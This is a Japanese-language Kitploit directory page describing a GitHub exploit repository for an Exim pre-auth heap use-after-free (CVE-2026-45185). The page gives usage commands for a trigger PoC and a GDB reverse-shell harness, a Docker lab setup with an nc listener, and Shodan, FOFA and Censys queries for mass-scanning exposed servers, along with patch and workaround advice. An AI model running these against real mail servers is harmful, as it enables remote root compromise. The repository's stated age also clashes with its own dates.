Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-45185 — TLS close_notify を介して Exim の重大な pre-auth ヒープ use-after-free を悪用し、リモートルート権限を取得します。GDB ラボハーネスと Nuclei 検出テンプレートが含まれます。 | Kitploit
ツール/GitHubGitHub/0init/cve-2026-45185
脆弱性スキャナー脆弱性分析エクスプロイト学習と教育バイナリエクスプロイトラボと実践
GitHub0init/cve-2026-45185

CVE-2026-45185

TLS close_notify を介して Exim の重大な pre-auth ヒープ use-after-free を悪用し、リモートルート権限を取得します。GDB ラボハーネスと Nuclei 検出テンプレートが含まれます。

リポジトリを見る
21ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-45185 — Dead.Letter: Exim ヒープ UAF からリモート root へ

CVSS 9.8 Critical | Exim 4.97–4.99.2 | Ubuntu / GnuTLS ビルド | 認証不要

GDB トレース、ステップバイステップ解析、全世界の露出データを含む完全な解説:
https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html


概要

Exim が BDAT ボディ転送の最中に TLS close_notify アラートを送信すると、tls_close() が gnutls_deinit() を呼び出し、7,304 バイトの gnutls_session_int 構造体を解放します。BDAT 受信レイヤーは古いポインターを保持したままです。ボディ読み取りループが再開すると、tls_getbuf → gnutls_record_recv が解放済みセッションを逆参照します — 認証前のヒープ use-after-free で、認証情報は一切不要です。

Exim 4.99.3 で修正済み。


影響を受ける環境

条件要件
Exim バージョン4.97, 4.97.x, 4.98, 4.98.x, 4.99.0, 4.99.1, 4.99.2
ビルドGnuTLS を使用する Ubuntu / Debian (libgnutls28-dev)
機能EHLO でアドバタイズされる CHUNKING (デフォルトで有効)

Alpine Linux および OpenSSL にリンクされた自己コンパイル Exim は影響を受けません。


ファイル

ファイル目的
poc.pyUAF トリガー — stdlib のみ、pip 不要。自己管理サーバーに対して安全に実行可能。UAF パスに到達して停止します (ペイロードなし)。
diag19_gdb.pyGDB エクスプロイトハーネス — 7 つのブレークポイントを設定し、gnutls_deinit() が戻った後に解放済みチャンクへ system() を書き込みます。ラボ専用 (ASLR 無効化 + 一致するライブラリバージョンが必要)。
CVE-2026-45185.yamlNuclei テンプレート — EHLO フィンガープリント + BDAT プローブにより 3 つの前提条件すべてを検出します。安全な読み取り専用検出です。

poc.py — UAF トリガー

root@kitploit:~
python3 poc.py <host> <port> <rcpt@domain>

# 例
python3 poc.py mail.example.com 587 [email protected]

トリガー実行後にサーバーが生存していれば、UAF パスが存在します。クラッシュした場合は、tcache の挙動に何らかの変更が生じています。


diag19_gdb.py — GDB ハーネス (ラボ専用)

Docker ラボのセットアップ (5 分)

root@kitploit:~
# 1. Ubuntu 22.04 をプルし、GnuTLS 付き Exim 4.97 をインストール
docker run -it --name exim4-lab ubuntu:22.04 bash
apt-get update && apt-get install -y exim4 gdb python3

# 2. ASLR を無効化 (ハードコードされたアドレスに必要)
echo 0 | tee /proc/sys/kernel/randomize_va_space

# 3. Exim を設定 — CHUNKING + STARTTLS を有効化し、全インターフェースで待ち受け
dpkg-reconfigure exim4-config   # "internet site" を選択し、デフォルトを受け入れる

# 4. ハーネスを読み込んだ状態で Exim を GDB 配下で起動
gdb -q -x /path/to/diag19_gdb.py --args /usr/sbin/exim4 -bd -d

# 5. 別のターミナルでトリガーを実行
python3 poc.py 127.0.0.1 25 user@localhost

# 6. リバースシェル用のリスナーを起動
nc -lvp 4444

実行前に: diag19_gdb.py 内の CMD を自分のリスナー IP に変更してください。
SYSTEM アドレスは読み込み時に動的に解決されるため、手動でのルックアップは不要です。
PostTlsCloseFin 内の 2 つのアドレス (lwr_receive_getbuf, tls_getbuf) は Exim 内部のものであり、自分のビルドと一致している必要があります:

root@kitploit:~
(gdb) p &lwr_receive_getbuf
(gdb) p tls_getbuf

CVE-2026-45185.yaml — Nuclei 検出

root@kitploit:~
# 単一ターゲット
nuclei -t CVE-2026-45185.yaml -u mail.target.com -v

# ターゲットリスト
nuclei -t CVE-2026-45185.yaml -l smtp-hosts.txt

# Shodan の結果からの大量スキャン
shodan search '"Exim 4.97" "Ubuntu" "CHUNKING" port:25' --fields ip_str,port | \
  awk '{print $1":"$2}' > targets.txt
nuclei -t CVE-2026-45185.yaml -l targets.txt

検出ロジック

このテンプレートは 2 つの独立したステージを実行します:

  1. EHLO フィンガープリント — EHLO を送信し、3 つの必須条件すべてにマッチさせます:

    • バージョン正規表現 4.97–4.99.2
    • バナー内の Ubuntu (GnuTLS リンケージ確認)
    • ケイパビリティ内の CHUNKING
  2. BDAT プローブ — RCPT TO なしで BDAT 200 を送信し、Exim 固有の 503 にマッチさせます:

    root@kitploit:~
    503 valid RCPT command must precede BDAT
    

大量スキャン用クエリ

root@kitploit:~
# Shodan
"Exim 4.97" "Ubuntu" "CHUNKING" port:25,587

# FOFA
banner="Exim 4.97" && banner="Ubuntu" && banner="CHUNKING" && (port="25" || port="587")

# Censys
services.smtp.banner:"Exim 4.97" and services.smtp.banner:"Ubuntu"

修復策

Exim 4.99.3 以降にアップグレードしてください (公式パッチ)。

回避策 (エクスプロイトパスなし、テストに再起動は不要):

root@kitploit:~
# exim4.conf
chunking_advertise_hosts = !*

その後 service exim4 restart を実行します。


タイムライン

日付イベント
2026-06-10XBOW により CVE 採番
2026-06-24公開アドバイザリ公開
2026-08-07ラボでの RCE を確認。本解説と PoC を公開

参照

  • 解説: https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html
  • XBOW アドバイザリ: https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-45185

by @0Init

ツールをダウンロード